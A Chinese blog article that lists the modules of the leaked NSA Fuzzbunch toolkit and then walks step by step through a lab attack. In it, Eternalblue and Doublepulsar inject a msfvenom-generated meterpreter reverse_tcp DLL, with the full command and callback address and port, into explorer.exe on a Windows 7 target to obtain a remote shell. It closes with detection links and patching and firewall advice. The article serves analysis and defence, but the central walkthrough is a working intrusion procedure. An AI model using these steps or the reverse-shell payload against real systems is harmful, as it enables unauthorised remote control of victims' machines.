NSA Fuzzbunch分析与利用案例
Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具。本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例
1 整体目录介绍
解压EQGRP_Lost_in_Translation-master.zip文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:
1. windows目录针对Windows操作系统的利用工具和相关攻击代码;
2. swift目录中是包含入侵swift银行系统的操作记录等相关证据;
3. oddjob目录是后门Rootkit等相关文档;

1.1 框架介绍
我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:
1. fb.py
2. start_lp.py

1.2 FB模块介绍
fuzzbunch功能类似于metasploit,功能较为自动化。fuzzbunch下载地址https://github.com/fuzzbunch/fuzzbunch。fb.py 即 fuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch 支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。



fuzzbunch框架除了命令解析,日志,IO等常规功能外,fuzzbunch使用的xml配置文件十分详细,可以配置payload的各个部分。Fuzzbunch会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch 代码中全称为EXPLOITMANAGER,拥有跨平台能力。




1.3 start模块介绍
start_lp.py 会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6还原源代码。如下图:






2 fuzzbunch的插件列表和影响的服务与版本
2.1 ImplantConfig 植入工具模块
Darkpulsar 1.1.0 操控NTLM或 加载shellcode
Mofconfig 1.0.0
2.2 ListeningPost
内容未公开
2.3.Exploit 漏洞利用模块
Easybee 1.0.1Mdaemon漏洞
Easypi 3.1.0 IBM Lotus漏洞
Eclipsedwing 1.5.2MS08–067
Educatedscholar 1.0.0MS09–050
Emeraldthread 3.0.0MS10–061
Emphasismine 3.4.0IBM Lotus Domino漏洞
Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞
Erraticgopher 1.0.1SMB漏洞
Eskimoroll 1.1.1MS14–068
Esteemaudit 2.1.0RDP漏洞
Eternalromance 1.4.0SMBv1 漏洞
Eternalsynergy 1.0.1SMB漏洞
Ewokfrenzy 2.0.0Domino漏洞
Explodingcan 2.0.2IIS漏洞利用工具
Zippybeer 1.0.2 域控漏洞
2.4 Touch 信息探测、漏洞测试模块
Architouch 1.0.0
Domaintouch 1.1.1
Eclipsedwingtouch 1.0.4
Educatedscholartouch 1.0.0
Emeraldthreadtouch 1.0.0
Erraticgophertouch 1.0.1
Esteemaudittouch 2.1.0
Explodingcantouch 1.2.1
Iistouch 1.2.2
Namedpipetouch 2.0.0
Printjobdelete 1.0.0
Printjoblist 1.0.0
Rpctouch 2.1.0
Smbtouch 1.1.1
Webadmintouch 1.0.1
Worldclienttouch 1.0.1
2.5 Payload Payload模块
Doublepulsar 1.3.1支持 DLL 后门 和 shellcode
Jobadd 1.1.1
Jobdelete 1.1.1
Joblist 1.1.1
Pcdlllauncher 2.3.1
Processlist 1.1.1
Regdelete 1.1.1
Regenum 1.1.1
Regread 1.1.1
Regwrite 1.1.1
Rpcproxy 1.0.1
Smbdelete 1.1.1
Smblist 1.1.1
Smbread 1.1.1
Smbwrite 1.1.1
2.6 Special 专用模块
Eternalblue 2.2.0 SMB漏洞 MS17–010
Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147
检测与建议
通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar
ms17-017 检查 ,可通过metasploit代码:
smb_ms17_010.rbMicrosoft的影响评价:Protecting customers and evaluating risk
ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical

3 fuzzbunch实验环境介绍
3.1 靶机环境介绍:
1. Fuzzbunch运行环境,操作系统:Windows 7;
2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;

3.1 控制端系统,操作系统:Kali1.1;

3.2 漏洞利用流程,以Eternalblue举例:
1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:
2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:
3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:
4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:
5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:
6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:

7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:

8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:
9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:
10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:

11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:

12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:
13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:

14. 在kali进行反向TCP监听的配置,如下图:
命令:use exploit/multi/handler,
payload:windows/meterpreter/reverse_tcp

15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:
16. 配置注入的dll的程序,我们选择explorer.exe。如下图:
17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:
18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:
19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:

20. 运行shell,执行whoami指令。如下图:
4 总结
从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:
升级系统补丁,确保补丁更新到最新版本。
关闭没有补丁的服务
使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。
NSA Fuzzbunch分析与利用案例的更多相关文章
- full gc频繁的分析及解决案例
full gc频繁的分析及解决案例 2016-04-14 09:20:54 0个评论 来源:end's coding life 收藏 我要投稿 现象 ? 1 系统报警full ...
- FakeID签名漏洞分析及利用(二)
本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...
- word漏洞分析与利用
众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...
- 【转】cve2014-3153 漏洞之详细分析与利用
背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...
- 《gis空间分析及应用案例解析》培训总结
<gis空间分析及应用案例解析>培训总结 来源:常德水情 作者:唐校准 发布日期:2014-01-02 2013年12月2630日由中国科学院计算技术研究所教育中心组织的< ...
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- CVE-2014-3153分析和利用
本文是结合参考资料对CVE-2014-3153的分析,当然各位看官可以看最后的资料,他们写的比我好. 在看CVE-2014-3153之前我们用参考资料4中例子来熟悉下这类漏洞是如何产生的: /** * ...
- 【逆向实战】ES文件浏览器未授权访问漏洞(CVE-2019-6447)具体分析及利用
/作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 漏洞简介 CVE-2019-6447是Android端上的一个知名软件:ES文件浏览器的 ...
- Java练习小题_求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将a[i][i]累加后输出。
要求说明: 题目:求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将 a[i][i] 累加后输出. 实现思路: [二维数组]相关知识 ...
随机推荐
- MYSQL性能优化--分库分表
1.分库分表 1>纵向分表 将本来可以在同一个表的内容,人为划分为多个表.(所谓的本来,是指按照关系型数据库的第三范式要求,是应该在同一个表的.) 分表理由:根据数据的活跃度进行分离,(因为不同 ...
- 一步步教你使用rem适配不同屏幕的移动设备
1.先说说几个前端常用的几个单位的概论: 1.px (pixel,像素):是一个虚拟长度单位,是计算机系统的数字化图像长度单位,如果px要换算成物理长度,需要指定精度DPI(Dots Per Inch ...
- org.springframework.beans.factory.BeanDefinitionStoreException异常
1.下面是我遇到的异常信息: 2017-03-25 18:01:11,322 [localhost-startStop-1][org.springframework.web.context.Conte ...
- div的优缺点
div+css优缺点 产生背景 HTML语言自HTML4.01以来,不再发布新版本,原因就在于HTML语言正变得越来越复杂化.专用化.即标记越来越多,甚至各个浏览器生产商也开发出只适合于其特定浏览 ...
- JDK中日期和时间的几个常用类浅析(四)
java.time.Instant java.time.Instant类对应的是时间线上的一个时间点.该类通过保存着从格林威治的起始时间(1970年一月一日零点零分)开始计算所经过的纳妙数来表示时 ...
- linux监控流量脚本
#!/bin/bashRx=`ifconfig eno16777736 | grep RX | grep packets | awk '{print $5}'`Tx=`ifconfig eno1677 ...
- jquery的冒泡事件event.stopPropagation()
js中的冒泡事件与事件监听 冒泡事件 js中“冒泡事件”并不是能实际使用的花哨技巧,它是一种对js事件执行顺序的机制,“冒泡算法”在编程里是一个经典问题,冒泡算法里面的冒泡应该 说是交换更加准确:js ...
- 实现自动登录:Filter 实现思路和方式
当你勾选(记住登录状态),用cookie保存用户名和密码.不勾选,cookie失效. 所有的页面都要经过autoLoginFilter.java 的过滤器,在这类中,必须要判断cookies不为nul ...
- mysqldumpslow的使用简介
mysqldumpslow的使用:比如我们要查询按时间返回前5条日志信息,格式如下:mysqldumpslow -s t -t 5 /var/log/mysql/slowquery_20170303. ...
- Mysql安装设置建议(参数设置)
当我们监测MySQL性能时,人们希望我们能够检视一下MySQL配置然后给出一些提高建议.许多人在事后都非常惊讶,因为我们建议他们仅仅改动几个设置,即使是这里有好几百个配置项.这篇文章的目的在于给你一份 ...